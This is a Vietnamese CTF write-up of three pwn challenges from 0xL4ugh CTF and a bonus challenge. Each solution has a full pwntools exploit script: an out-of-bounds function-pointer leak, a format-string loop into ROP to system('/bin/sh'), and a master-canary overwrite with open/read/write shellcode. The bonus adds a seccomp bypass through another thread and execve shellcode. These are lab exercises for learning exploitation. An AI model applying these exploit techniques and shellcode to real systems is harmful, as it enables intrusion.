---
# System prepended metadata

title: 0xl4ugh CTF Write up + Bonus

---

# Lời nói đầu
- Đây là một trong 2 contest em đăng kí với anh Trung
![image](https://hackmd.io/_uploads/BygkCD-Uye.png)
- Contest trước bị úp bô rate từ 40 lên 80 nên móm.
- Cũng là contest đầu tiên em clear (không hẳn vì có anh Duy Hạ gợi ý bài cuối).
- Cuối năm 2024 nên kết thúc năm bằng một bài write up như này là tuyệt vời.
- Em sẽ cố gắng viết chi tiết, không chỉ lời giải mà cả quá trình em xử lí bài problems.
- Có bonus chall, nhưng hãy đọc kĩ. Ngoài ra tất cả các challenges pwn em đều lưu: https://github.com/vani5hing/Storage/tree/main/0xl4ught_CTF_Write_up_Bonus

# Wanna Play A Game
## Mở bài
![Screenshot 2024-12-31 122014](https://hackmd.io/_uploads/SklEy--Lyl.png)
- file 64 bit, không stripped.
- ```Full RELRO``` và ```Canary found```.
- ```No PIE```.
- Đây là bài pwn dễ nhất trong giải mà checksec trông có vẻ hơi căng.

## Phân tích luận điểm
**Phản xạ luôn là nhìn vào hàm ```main()``` trước**
### main()
![image](https://hackmd.io/_uploads/rkZcWbZUyl.png)
- Có thể tóm tắt flow của hàm main là gọi ```setup()``` cho nhập ```0x40 bytes``` vào biến ```username``` rồi bắt đầu vòng lặp chơi guessing với chương trình.
- Mỗi lần lặp thì hiện ra ```menu()``` sau đó cho nhập độ khó và số mình guess để chương trình xử lí.
![image](https://hackmd.io/_uploads/HkFNQZb8Jl.png)
- ```conv[]``` chỉ là 1 mảng lưu địa chỉ của 2 hàm ```easy``` và ```hard``` để thuận tiện cho việc gọi hàm.
![image](https://hackmd.io/_uploads/Skdpc-ZUJg.png)
- Ví dụ nhập ```v3 = 1```, ```v4 = 12``` thì nó sẽ gọi ```conv[0](12)``` nghĩa là ```easy(12)``` -> gọi hàm easy với số guess là 12. Em sẽ không giải thích kĩ thêm.

### setup() && change_passcode()
![image](https://hackmd.io/_uploads/SkDpXZbIke.png)
- Hàm ```setup()``` không có gì đáng chú ý. ```Setvbuf + alarm``` cơ bản (thường thấy trong CTF) sau đó gọi ```change_passcode()```, ```srand(seed)``` với seed là time hiện tại.

![image](https://hackmd.io/_uploads/Sy6dNZ-Lyl.png)
- Hàm ```change_passcode()``` đọc ```8 bytes random``` rồi ghi vào biến ```passcode``` trong bộ nhớ.

### menu()
![image](https://hackmd.io/_uploads/B1BPS--Lye.png)
- Hàm ```menu()``` không có gì để nói.

### read_int()
![image](https://hackmd.io/_uploads/r1WZLZZL1l.png)
- Hàm ```read_int()``` chỉ đơn giản là nhập ```0x20 bytes``` vào ```buf``` (trên stack) rồi gọi ```atol(buf)``` trả về 1 số long int (không có ```bof``` ở đây).
- (Có thể xem ```man pages atol``` để rõ hơn). Hiện hàm này cũng chưa thể hiện tác dụng gì ngoài nhập số.

### easy()
![image](https://hackmd.io/_uploads/SJ5jF-Z8Jx.png)
- Hàm ```easy()``` lấy số mình vừa guess so sánh với giá trị ```rand()``` nếu đúng thì printf ra biến score và ngược lại in ra "wrong guess".

### hard()
![image](https://hackmd.io/_uploads/HkAh3Z-U1g.png)
- Có thể tóm tắt flow của hàm hard là so sánh giá trị mình guess với passcode, nếu đúng thì tạo shell (```execve("/bin/sh", 0, 0)```). Ngược lại sẽ gọi hàm ```change_passcode()``` nghĩa là thay đổi ```passcode``` thành ```8 bytes random``` khác.
![image](https://hackmd.io/_uploads/rk2X1fbIyl.png)

## Mở rộng vấn đề nghị luận
### Cùng nhìn lại
- Ta có một game guessing cơ bản, 2 chế độ easy và hard, easy sẽ là đoán số ```rand()``` theo chương trình, hard sẽ là đoán ```passcode``` và nếu sai thì passcode được reset nên cũng gọi là đoán ```passcode``` được ```rand()``` theo chương trình.
- Nếu chọn easy thì cũng chẳng tác dụng gì lắm vì nó chỉ in ra ```score``` nên mục tiêu phải phải qua được hàm ```hard()```. Nhưng đầu tiên phải tìm bug đã:(. 
- Để ý những điểm đáng ngờ sau đây:
- ![image](https://hackmd.io/_uploads/HkAgQMZL1g.png)
Ở hàm ```main``` cho read ```username``` tận ```0x40 bytes``` ?
- ![image](https://hackmd.io/_uploads/rJr44GZIye.png)
Khi nhập ```v3``` để chọn độ khó chương trình không check giới hạn ```v3``` trong khoảng ```1->2``` để giới hạn ```easy``` hoặc ```hard``` ?
- Check địa chỉ các biến trong bộ nhớ:
![image](https://hackmd.io/_uploads/SkQEBzW8kl.png)
Có thể thấy ```username``` nằm dưới hẳn ```conv```. Nếu nhập ```v3 = 15``` chương trình sẽ gọi ```conv[14](v4)``` là gọi hàm có địa chỉ nằm trong ```&username```. Ta có một lỗi ```out of bound``` ở đây.
- Kết hợp thêm việc được tự do nhập ```username``` từ ban đầu, ta có thể thay đổi flow của chương trình.

### Ý tưởng
- Ý tưởng sẽ là làm sao đó để leak được ```passcode``` của chương trình sau đó gọi ```hard(passcode)``` là lấy được shell.
- Để ý trong hàm ```easy()``` có đoạn sau:
![image](https://hackmd.io/_uploads/ryWgqz-Ikl.png)
- Khi gọi ```conv[v3 - 1](v4)``` thì giá trị ```v4``` sẽ được lưu trong ```rdi```. Ta gán ```v4 = &passcode``` sau đó nhảy vào ```easy+67``` ta sẽ call được ```puts(&passcode)``` và leak được được thông tin.
- Tại sao lại là ```easy+67``` ? Trong contest em đã thử dùng hàm ```printf``` nhưng ta sẽ gặp lỗi vì hàm ```printf``` cần ```stack align 16``` mà ta lại nhảy vào giữa hàm (không có ```push rbp``` ở đầu).
- Chỉ hàm ```easy``` mới có gọi ```puts``` sau đó ```return``` mà không thực hiện câu lệnh không cần thiết nào khác (tránh crash chương trình).
- Vì không có ```push rbp```, chương trình sẽ gọi câu lệnh ```leave; ret``` tương đương với ```mov rsp, rbp; pop rbp; ret```. Nếu call thẳng vào ```easy+67```, sau khi leak xong ta sẽ bị end chương trình ngay lập tức.
![image](https://hackmd.io/_uploads/H1ZxEQW8kl.png)
Lí do là lúc đó ```rbp``` vẫn chỉ là giá trị của lần đầu gọi hàm main, ```saved rip``` sẽ trỏ vào ```__libc_start_call_main+128```.
- Để xử lí việc này, ở lần đầu tiên ta chỉ cần gọi về hàm main để set up ```rbp + saved rip``` là được. Sau đó lần thứ hai sẽ gọi về ```easy+67```.
Lần gọi hàm đầu tiên (lần thực hiện main thứ 1):
![image](https://hackmd.io/_uploads/Hkp5HmZUJx.png)
Lần gọi hàm thứ hai (lần thực hiện main thứ 2):
![image](https://hackmd.io/_uploads/HJ1FBQZUyx.png)
Khi này giá trị ```rbp``` và ```saved rip``` đã là
![image](https://hackmd.io/_uploads/SJUNUQZLJx.png)
Nên khi leak xong chương trình sẽ tiếp tục thực hiện trò chơi guessing. Lúc này ta nhập số vừa leak vào là được.

**Lưu ý**:
- Khi implement em có thấy 2 vấn đề, thứ nhất là hàm ```puts``` sẽ terminate khi gặp ```byte \x00```, nếu ```passcode``` có ```\x00``` này thì ta sẽ không leak được chính xác ```passcode```.
- Hàm ```atol()``` trả về giá trị ```long int``` nhưng một vài giá trị ```passcode``` khi truyền vào thì nó không chuyển đúng (chắc là do ép kiểu, em sẽ không tìm hiểu sâu quá về cái này).
![image](https://hackmd.io/_uploads/SkrvR7WIyl.png)
![image](https://hackmd.io/_uploads/HyWYAQW81e.png)
- Vậy nên ghép bruteforces vào là handle được.

## Kết bài
### Full script
```
from pwn import *

script = '''
'''

while(True):
    #p = remote("", )
    p = process("./chall")
    #p = gdb.debug("./chall", gdbscript = script)
    
    main = 0x0000000000401575
    p.sendafter(b"NickName> ", p64(main))
    p.sendafter(b"Hard\n> ", b"15")
    p.sendafter(b"Guess>> ", b"\x00")

    passcode = 0x404060
    puts_leave_ret = 0x0000000000401324
    p.sendafter(b"NickName> ", p64(main) + p64(puts_leave_ret))
    p.sendafter(b"Hard\n> ", b"16")
    p.sendafter(b"Guess>> ", f"{passcode}".encode())

    password = u64(p.recv(8))
    print(hex(password))

    p.sendafter(b"Hard\n> ", b"2")
    p.sendafter(b"Guess>> ", f"{password}".encode())
    
    
    s = p.recv(3)
    if(s == b"[+]"):
        break
    else:
        try:
            p.close()
        except:
            pass
    
p.interactive()
```

# Yet Another Format String Bug
## Mở bài
![image](https://hackmd.io/_uploads/SkJ0HNZLkg.png)
- 64 bit, không stripped.
- Checksec bài này trông dễ chịu hơn bài trước.
- Dựa theo tên bài thì chắc là bài format string rồi.

## Phân tích luận điểm
**Phản xạ luôn là nhìn vào hàm ```main()``` trước**
### main()
![image](https://hackmd.io/_uploads/H1GRUNWL1l.png)
- Tóm tắt flow của hàm ```main()``` là thực hiện ```read(buf)``` (không có bof) và ```printf(buf)``` (```fmtstr error``` here). Sau đó kiểm tra biến ```v5``` trên stack, nếu khác 0 thì loop.
- Bài này ngoài hàm ```main()``` ra chẳng còn gì, hàm ```setup()``` cũng chỉ là mấy ```setvbuf``` cơ bản.

## Mở rộng vấn đề nghị luận
- Khi gặp bài format string, nếu được hãy cố gắng tạo loop format string trước rồi tùy cơ ứng biến.

- Trong lần fmtstr đầu tiên:
    - Không cho leak stack, không thể dùng tricks ghi đè ```saved rip``` của ```printf()```.
    - No PIE nhưng ```.fini_array``` thuộc vùng ```read only``` nên không thể tấn công ```fini_array```.
![image](https://hackmd.io/_uploads/SkgwsEW8yl.png)
![image](https://hackmd.io/_uploads/S1XOsV-Lyx.png)
    - Vậy mục tiêu phải là thay đổi giá trị biến ```v5``` trên stack.

- Đặt breakpoint ở ```read()```, ta check stack frame khi gọi ```read()``` được như sau:
![image](https://hackmd.io/_uploads/Bk6FCEZ8ke.png)
    - Biến ```v5``` hiện có giá trị là 0.
    - So sánh giá trị ở ```$rsp + 0x10``` và địa chỉ của ```v5```. Nếu ta ghi đè ```1 byte``` cuối ở ```$rsp + 0x10``` thành ```0xde``` ta sẽ có pointer trỏ vào biến ```v5``` trên stack. Khi đó dùng format string ```%n``` là có thể thay đổi biến ```v5``` và tạo được loop.
    - Tất cả điều này thực hiện chỉ trong một lần ```printf(buf)``` đầu tiên nên ta bruteforces byte cuối của địa chỉ ```v5``` (luôn có kết thúc là ```0xe```). Tỉ lệ xấp xỉ ```1/16``` (sẽ có trường hợp khác 3 bit cuối nhưng đa số là chỉ 2 bit. Không phải chứng minh, thấy hợp lí là làm).
    - Em sẽ cố định byte cuối là ```0xde``` để dễ theo với post. Đây sẽ là phần bruteforces:
![image](https://hackmd.io/_uploads/rJZQzr-8yx.png)

- Sau khi tạo được loop format string giờ thì bài dễ rồi. Leak libc, leak stack (dùng ```%p```) rồi overwrite tùm lum (dùng ```%n```). Trong lúc contest diễn ra em đã thử ghi đè GOT ```read()``` hoặc ```printf()``` (No PIE) thành ```one_gadget``` nhưng không khả thi (constraint quá chặt). Cuối cùng thì em quyết định dùng format string để viết ROP luôn:
    - Leak libc qua ```saved rip``` của main (offset 41).
    - Leak stack qua pointer trỏ vào biến ```v5``` (offset 8).
    - Perform ROP gọi ```system("/bin/sh")```, ghi đè vào ```saved rip``` của main.
    - Chuyển lại biến ```v5``` về 0 để kết thúc vòng lặp. Khi đó hàm main sẽ return về ROP mình đã viết.

## Kết bài
### Full script
```
from pwn import *

e = ELF("./yet_another_fsb_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")
context.clear(arch = 'amd64')

script = '''
'''

while(True):
    #p = remote("", )
    p = process("./yet_another_fsb_patched")
    #p = gdb.debug("./yet_another_fsb_patched", gdbscript = script)
    
    payload = b"c%8$hhn"
    payload = payload.ljust(0x10, b"\x00")
    payload += p8(0xde)
    p.send(payload)
    p.recvuntil(b"c")
    
    try:
        p.sendline(b"AAAAAAAA")
        p.recvuntil(b"AAAAAAAA\n")
        break
    except:
        try:
            p.close()
        except:
            pass

#gdb.attach(p, gdbscript = script)

payload = b"%41$p\x00"
p.send(payload)
libc_base = int(p.recv(0xE), 16) - 0x25c88
print(hex(libc_base))
pop_rdi = libc_base + 0x00000000000fd8c4
ret = pop_rdi + 1
binsh = libc_base + list(libc.search(b"/bin/sh\x00"))[0]
system = libc_base + libc.symbols['system']

payload = b"%8$p\x00"
p.send(payload)
rbp = int(p.recv(0xE), 16) + 0x2

payload = fmtstr_payload(6, {rbp + 0x8: pop_rdi,
                             rbp + 0x10: binsh,
                             rbp + 0x18: ret,
                             rbp + 0x20: system}, write_size = "short")
p.send(payload)
p.recv(1)

payload = payload = fmtstr_payload(6, {rbp - 0x8: 0}, write_size = "short")
p.send(payload)

p.interactive()
```

# Recover Your Vision
## Mở bài
![image](https://hackmd.io/_uploads/Hy7ZdrZ81l.png)
- Stack execuatable và có RWX segments nên khả năng cao là bài shellcode.
- Trong contest đề bài có mô tả là đọc flag ở ```./flag.txt``` nên khả năng cao là ```open read write shellcode```
- Đây là bài pwn cuối trong contest. Sau khi mở IDA lên đọc thì em đã định bỏ rồi nhưng anh Duy Hạ bảo cố làm nên là let's start.

## Phân tích luận điểm
**Phản xạ ...**
### main()
![image](https://hackmd.io/_uploads/rkFWKBbL1l.png)
- Hàm main gọi 1 thread tới hàm ```vuln()```
- Không có gì để nói ở hàm main.

### vuln()
![image](https://hackmd.io/_uploads/H1Iz9HZUJe.png)
- Cho leak địa chỉ stack của thread vuln
- Cho nhập độ dài của shellcode (bof here)
- Gọi hàm ```disasble()```
- Nhập shellcode và đóng ```stdin```, ```stdout```.

### disable()
![image](https://hackmd.io/_uploads/rJ6pWLZU1l.png)
- Hàm này thực hiện việc seccomp.
- Check seccomp:
![image](https://hackmd.io/_uploads/SJ_rfL-8Jx.png)
Cho ```open, read, write, close, exit, exit group``` càng củng cố luận điểm đây là bài orw.


## Mở rộng vấn đề nghị luận
- Mình chủ động được ```size``` của shellcode nên có thể ghi đè ```saved rip``` của ```vuln()``` về ```buf``` (là shellcode mình vừa viết).
- Nhưng vấn đề là checksec thấy ```Canary found```, ta chưa biết canary là gì nên không thể ghi đè được. Đây là lúc em stuck, anh Duy Hạ bảo là ```master canary``` nên lấy ngồi đọc luôn:
- https://dreamhack.io/lecture/courses/266
- https://dreamhack.io/lecture/courses/267
- Đơn giản hóa là ```canary``` sẽ được so sánh với ```master canary```, nếu ta overwrite được cả ```master canary``` (ở offset rất xa) thì không lo vụ ```__stack_chk_fail```
- Điều này hoàn toàn khả thi vì ```size``` của shellcode do ta quyết định.

### Ý tưởng
- Viết shellcode ```open read write``` flag.
- ```ljust()``` thêm ghi đè ```saved rip``` của ```vuln()``` về ```buf``` để thực hiện shellcode.
- Đồng thời ghi đè ```master canary``` để không bị ```__stack_chk_fail```.
- Bài đóng ```stdout``` nhưng vẫn mở ```stderr``` nên orw vẫn khả thi.

### Implement
- Cách thức thực hiện ```master canary``` link thứ 2 đã viết rất chi tiết nên em sẽ không nhắc lại. Chỉ cần làm theo mẫu là được trừ vụ padding để tránh SIGSEGV (do khác libc).
- SIGSEGV đa phần là do lúc ghi đè master canary, mình đã ghi đè qua một số giá trị quan trọng trong việc thực thi chương trình.
- Để padding thì chỉ cần debug từng dòng chỗ bị lỗi xem ban đầu ở địa chỉ đó có giá trị gì thì mình để yên đúng giá trị đó (hoàn toàn có thể tính toán được do đã biết địa chỉ stack).
- ```open read write``` là cơ bản. Bài đã đóng ```stdout``` nhưng vẫn mở ```stderr```, nên ```write(stderr, ..., ...)``` là được.
![image](https://hackmd.io/_uploads/rJoYQLWIye.png)


## Kết bài
### Full script
```
from pwn import *

e = ELF("./blind_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")

script = '''
'''

#p = remote("", )
p = process("./blind_patched")
#p = gdb.debug("./blind_patched", gdbscript = script)

p.recvuntil(b"Buffer: ")
buf = int(p.recvline()[:-1:], 16)
print(hex(buf))

shellcode = b"\x68\x78\x74\x00\x00\x48\xB8\x2E\x2F\x66\x6C\x61\x67\x2E\x74\x50\x48\x89\xE7\x48\x31\xF6\x48\x31\xD2\x48\xC7\xC0\x02\x00\x00\x00\x0F\x05\x48\x89\xC7\x48\xC7\xC6\x00\x48\x40\x00\x48\x83\xEE\x30\x48\xC7\xC2\x30\x00\x00\x00\x48\xC7\xC0\x00\x00\x00\x00\x0F\x05\x48\xC7\xC7\x02\x00\x00\x00\x48\xC7\xC0\x01\x00\x00\x00\x0F\x05"

payload = shellcode.ljust(0x78, b"\x00")
payload += b"A" * 8
payload += p64(buf + 0x80) + p64(buf)
payload += b"A" * (0x890 - len(payload))
payload += p64(buf + 0x880)
payload += b"A" * (0x8a8 - len(payload))
payload += b"A" * 8

p.sendlineafter(b"shellcode: ", f"{len(payload)}".encode())
p.sendafter(b"Escape> ", payload)

p.interactive()
```

# Bonus chall
- Nguồn gốc của chall này là trong lúc diễn ra contest, vilex của team P3gasus (UIT) đã có unintended solution cho bài pwn cuối. Nên ngay sau hôm đó vilex đã làm 1 chall gần tương tự dành cho thi cuối kì nhập môn lập trình của năm nhất UIT (thật đáng sợ).
- Trong trường hợp post này bị leak, tôi xin khẳng định mình chỉ xin file chall và không hề giúp cá nhân nào gian lận điểm số trong contest.
- Em cũng đã private post này và vẫn giữ như vậy về sau. Những người đọc được post này là những người em tin tưởng.

## Mở bài
![image](https://hackmd.io/_uploads/HJLt88-Iyg.png)
- Checksec chall này căng hơn chall trước.

## Phân tích luận điểm
### main()
![image](https://hackmd.io/_uploads/SkSDwIWLkx.png)
- Không khác gì chall trước.

### setup() + lost()
![image](https://hackmd.io/_uploads/HymKdU-LJe.png)
Bài này có thêm đoạn set limit thời gian:
![image](https://hackmd.io/_uploads/S1R9u8bLkg.png)


### vuln()
![image](https://hackmd.io/_uploads/HkwYPUbUJx.png)
- Gần tương tự chall trước, chỉ thay đổi đoạn ```disable()``` sau khi nhập shellcode xong.

### disable()
![image](https://hackmd.io/_uploads/ryC6wUZ81x.png)
- ```disable()``` perform seccomp khác hẳn
- Check seccomp:
![image](https://hackmd.io/_uploads/H17G_LZ8kx.png)
Không ```open read write```, cho mỗi ```exit``` và ```close``` ?

## Mở rộng vấn đề nghị luận
- Bài quỷ. Dù gì thì cũng na ná chall trước, việc đầu tiên là cố ghi đè ```master canary``` trỏ về ```buf``` để thực hiện shellcode đã.
- Do vilex bài này để hàm ```disable()``` sau khi nhập shellcode, nghĩa là sau khi ghi đè ```master canary```, lúc đó rất nhiều giá trị cần thiết cho việc ```seccomp``` đã bị ghi đè thành giá trị rác dẫn đến việc padding khó hơn bài trước rất nhiều.
Em nhận ra là ghi đè bằng ```b"\x00"``` sẽ dễ thở hơn là ```b"A"```. Padding thì cứ nhảy thẳng vào libc check lỗi chỗ nào thì ghi đè lại chỗ đó (không tiện để show ở đây). Demo padding và ghi đè ```master canary```:
![image](https://hackmd.io/_uploads/BJjCqUZIJg.png)
- Sau khi padding xong ta quan tâm đến vụ shellcode và ```seccomp```:
Lần return của hàm ```vuln()``` với shellcode ```open read write```:
![image](https://hackmd.io/_uploads/HJI9aLZ81e.png)
Khi thực hiện đến ```syscall open``` thì bị terminate ngay: (as expected)
![image](https://hackmd.io/_uploads/S18xCLbLkg.png)
- Để ý rằng ```seccomp``` được load trong thread ```vuln()``` liệu thread khác như ```main()``` có bị ảnh hưởng bởi seccomp không?
- Đặt thêm breakpoint tại ```main+138``` và debug lại. Sau khi chương trình ```syscall open```, thread ```vuln()``` bị terminate (do ```seccomp```) và quay về hàm ```main()```
![image](https://hackmd.io/_uploads/S1rYJvb8Jg.png)
Sau khi ```ni```:
![image](https://hackmd.io/_uploads/Hyx2yvWLJl.png)
- Trước khi hàm ```main()``` thực hiện lệnh ```ret```, ta modify giá trị trong ```rsp``` thành địa chỉ của biến ```buf``` là trỏ về shellcode vừa nãy:
![image](https://hackmd.io/_uploads/BJsOxD-Uke.png)
- Tiếp tục ```ni``` qua các syscall:
![image](https://hackmd.io/_uploads/Bk-2lw-Lkx.png)
Sau khi qua syscall, chương trình không bị ```exit()```, vậy là đã rõ, ```seccomp``` của thread ```vuln()``` không ảnh hưởng tới thread ```main()```

### Ý tưởng
- Vậy là thay vì modify ```saved rip``` của hàm ```vuln()``` về ```buf``` ta sẽ modify của hàm ```main()```.
- Shellcode giờ sẽ được chia thành 3 phần:
    - modify ```saved rip``` của ```main()``` trỏ tới ```open read write``` mà không động chạm đến syscall nào.
    - call ```exit()``` để out thread ```vuln()``` trở về ```main()```.
    - ```open read write```
- Vấn đề hiện giờ là làm sao để modify, break ở ```vuln+210```, dễ thấy stack của thread ```vuln()``` hiện giờ không còn giá trị nào hữu dụng, do ta đã ghi đè quá nhiều ở đoạn ```master canary```. Nhưng thanh ghi ```r15``` lại có giá trị thuộc stack của thread ```main()```:
![image](https://hackmd.io/_uploads/HkmkQPWLye.png)
![image](https://hackmd.io/_uploads/BkAJXvZL1g.png)
Tận dụng thanh ghi ```r15``` để modify.

## Kết bài
### Full script
```
from pwn import *

e = ELF("./chall_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")

script = '''
b *main+138
b *vuln+210
'''

#p = remote("", )
p = process("./chall_patched")
#p = gdb.debug("./chall_patched", gdbscript = script)

p.recvuntil(b"Buffer: ")
buf = int(p.recvline()[:-1:], 16)
print(hex(buf))

shellcode = b"\x4D\x89\xFE\x49\x81\xC6\x08\x02\x00\x00\x49\x89\x26\x48\xC7\xC7\x00\x00\x00\x00\x48\xC7\xC0\x3C\x00\x00\x00\x0F\x05"
laugh = b"\x68\x78\x74\x00\x00\x48\xB8\x2E\x2F\x66\x6C\x61\x67\x2E\x74\x50\x48\x89\xE7\x48\x31\xF6\x48\x31\xD2\x48\xC7\xC0\x02\x00\x00\x00\x0F\x05\x48\x89\xC7\x48\x89\xE6\x48\x83\xEE\x30\x48\xC7\xC2\x30\x00\x00\x00\x48\xC7\xC0\x00\x00\x00\x00\x0F\x05\x48\xC7\xC7\x02\x00\x00\x00\x48\xC7\xC0\x01\x00\x00\x00\x0F\x05"

payload = shellcode.ljust(0x80, b"\x00")
payload += p64(buf + 0x130) + p64(buf)
payload += laugh
payload = payload.ljust(0x200, b"\x90")
payload = payload.ljust(0x800, b"\x00")
payload += p64(buf + 0xf38)
payload = payload.ljust(0x880, b"\x00")
payload += p64(buf + 0x880)
payload = payload.ljust(0x890, b"\x00")
payload += p64(buf + 0x880)
payload = payload.ljust(0x8a8, b"\x00")
payload += b"\x00" * 8

p.sendlineafter(b"shellcode: ", f"{len(payload)}".encode())
p.sendafter(b"Escape> ", payload)

p.interactive()
```

# Tạm biệt 2024
- Sau khi hoàn thành full contest và bonus chall em có một số suy nghĩ.
- Ở bài ```wanna play a game```, tức là pwn đầu, dù là bài pwn nhiều solves nhất giải, nhưng em lại stuck bài đó lâu nhất. Do em ban đầu suy nghĩ hướng phức tạp hóa và cố implement đều không thành công. (call thẳng```execve("bin/sh")``` hoặc overwrite ```password```).
- Bài ```fmt str``` thì đỡ hơn nhưng cũng tốn thời gian thử cài ```one_gadget```.
- Bài ```master canary``` tính ra không khó đến thế, lúc đó định bỏ là do em chưa học ```master canary``` lẫn ```seccomp```.
- Bài pwn của vilex thì quỷ hơn chút, dù solve ra rồi nhưng cảm giác sol em là unintended. Nghĩa là unintended của unintended. Ban đầu khi thấy đoạn thread ```main()```  không bị ảnh hưởng em đã cố ngồi tạo shell. Trên ```gdb.debug``` đều thông báo đã có thread ```/usr/bin/dash``` được tạo nhưng đến lúc process thì toàn EOF, sau khi tìm hiểu kĩ hơn thì có vẻ là như anh Duy Hạ bảo, nếu một thread gọi ```exit()``` thì tất cả thread khác đều bị ```exit```
![image](https://hackmd.io/_uploads/By0Q0_Z8yg.png)
![image](https://hackmd.io/_uploads/rJL8zOW8kx.png)
Không tạo shell được vẫn phải dùng orw, vậy thì unintended sol của vilex là gì?
- UIT quá khỏe :(
- Qua contest em thấy mình phải luyện nhiều hơn đoạn phản xạ cũng như tốc độ implement. Và cũng mong học được các anh nhiều kiến thức mới.
- Một lần nữa nhắc lại. Do nguồn gốc của bonus chall nên post này là private.
- The scenery has changed but it's you everywhere.
![image](https://hackmd.io/_uploads/ry-TnvZIke.png)


# Update
**1/23/2025**: 
- Hóa ra hàm ```exit()``` không ảnh hưởng nếu ta đã modify return address của ```main```, thứ duy nhất khiến không drop được shell là do ```stdin``` và ```stdout``` đã bị ```close```.
- Issue giống kiểu đóng stdout xong gọi ```execve("/bin/ls")``` sẽ bị error bad file descriptor.
- Hơn nữa trong Docker file của vilex, tên file flag cũng đã bị random dẫn đến việc ```open read write``` khó khăn hơn nhiều.
- Để giải quyết vấn đề này em vẫn dựa theo ý tưởng trên, lần remote đầu tiên sẽ dùng ```execve("/bin/ls", ["/", NULL], NULL)``` để lấy tên file, lần thứ hai sẽ là shellcode orw thông thường.

## Script
```
from pwn import *

e = ELF("./chall_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")

script = '''
b *main+138
b *vuln+210
b *vuln+152
'''

#p = remote("chall.w1playground.com", 19999)
p = process("./chall_patched")
#p = gdb.debug("./chall_patched", gdbscript = script)

p.recvuntil(b"Buffer: ")
buf = int(p.recvline()[:-1:], 16)
print(hex(buf))

shellcode = b"\x4D\x89\xFE\x49\x81\xC6\x08\x02\x00\x00\x49\x89\x26\x48\xC7\xC7\x00\x00\x00\x00\x48\xC7\xC0\x3C\x00\x00\x00\x0F\x05"

orw = b"\x6A\x32\x48\xB8\x31\x35\x31\x30\x64\x65\x35\x64\x50\x48\xB8\x38\x36\x36\x38\x35\x37\x38\x66\x50\x48\xB8\x61\x36\x32\x64\x31\x31\x62\x64\x50\x48\xB8\x2F\x36\x64\x63\x35\x66\x32\x30\x50\x48\x89\xE7\x48\x31\xF6\x48\x31\xD2\x48\xC7\xC0\x02\x00\x00\x00\x0F\x05\x48\x89\xC7\x48\x89\xE6\x48\x83\xEE\x30\x48\xC7\xC2\x30\x00\x00\x00\x48\xC7\xC0\x00\x00\x00\x00\x0F\x05\x48\xC7\xC7\x02\x00\x00\x00\x48\xC7\xC0\x01\x00\x00\x00\x0F\x05"

ls = b"\x48\x31\xD2\x48\xC7\xC7\x02\x00\x00\x00\x48\xC7\xC6\x01\x00\x00\x00\x48\xC7\xC0\x21\x00\x00\x00\x0F\x05\x48\x31\xD2\x48\xBF\x2F\x62\x69\x6E\x2F\x6C\x73\x00\x57\x48\x89\xE7\x6A\x2F\x48\x89\xE6\x6A\x00\x56\x57\x48\x89\xE6\x48\xC7\xC0\x3B\x00\x00\x00\x0F\x05"

flag = "6dc5f20a62d11bd8668578f1510de5d2"

payload = shellcode.ljust(0x80, b"\x00")
payload += p64(buf + 0x130) + p64(buf)
payload += ls
#payload += orw
payload = payload.ljust(0x800, b"\x00")
payload += p64(buf + 0xf38)
payload = payload.ljust(0x880, b"\x00")
payload += p64(buf + 0x880)
payload = payload.ljust(0x890, b"\x00")
payload += p64(buf + 0x880)
payload = payload.ljust(0x8a8, b"\x00")
payload += b"\x00" * 8

p.sendlineafter(b"shellcode: ", f"{len(payload)}".encode())
p.sendafter(b"Escape> ", payload)

p.interactive()
```
![image](https://hackmd.io/_uploads/HkEjrqJd1e.png)
![image](https://hackmd.io/_uploads/SyNorqJOye.png)

- This sound interesting ?
![image](https://hackmd.io/_uploads/BJYMI5JOyl.png)
- Nôm na muốn chiếm shell, nhưng để làm được việc đó thì phải fake được stdin, stdout, stderr.